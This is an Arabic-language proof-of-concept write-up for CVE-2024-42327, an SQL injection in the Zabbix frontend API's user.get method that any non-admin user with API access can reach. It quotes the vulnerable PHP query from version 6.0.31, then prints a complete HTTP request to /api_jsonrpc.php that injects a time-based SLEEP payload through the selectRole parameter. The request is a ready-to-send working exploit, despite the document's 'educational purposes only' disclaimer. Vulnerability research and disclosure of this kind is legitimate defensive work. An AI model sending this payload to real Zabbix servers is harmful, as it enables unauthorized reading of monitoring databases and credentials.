
إثبات مفهوم لاستغلال CVE-2024-42327، وهي ثغرة حقن SQL في واجهة Zabbix الأمامية API تسمح للمستخدمين غير المسؤولين بتنفيذ استعلامات SQL عشوائية عبر طريقة user.get.
يمكن لحساب مستخدم غير مسؤول في واجهة Zabbix الأمامية مع دور المستخدم الافتراضي، أو أي دور آخر يمنح وصولاً لواجهة API، استغلال هذه الثغرة. توجد ثغرة SQLi في فئة CUser في دالة addRelatedObjects، ويتم استدعاء هذه الدالة من دالة CUser.get المتاحة لكل مستخدم لديه وصول لواجهة API.
هذا البرنامج النصي مقدم للأغراض التعليمية فقط!
الكود التالي من الإصدار 6.0.31 معرض لثغرة SQLi:
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
الاستدعاء التالي يثير الثغرة:
POST /api_jsonrpc.php HTTP/1.1
Host: localhost
User-Agent: curl/8.11.0
Accept: */*
Content-Type: application/json
Content-Length: 222
Connection: keep-alive
{
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"selectRole": ["roleid", "name", "type", "readonly AND (SELECT(SLEEP(5)))"],
"userids": ["1","2"]
},
"id": 1,
"auth": ""
}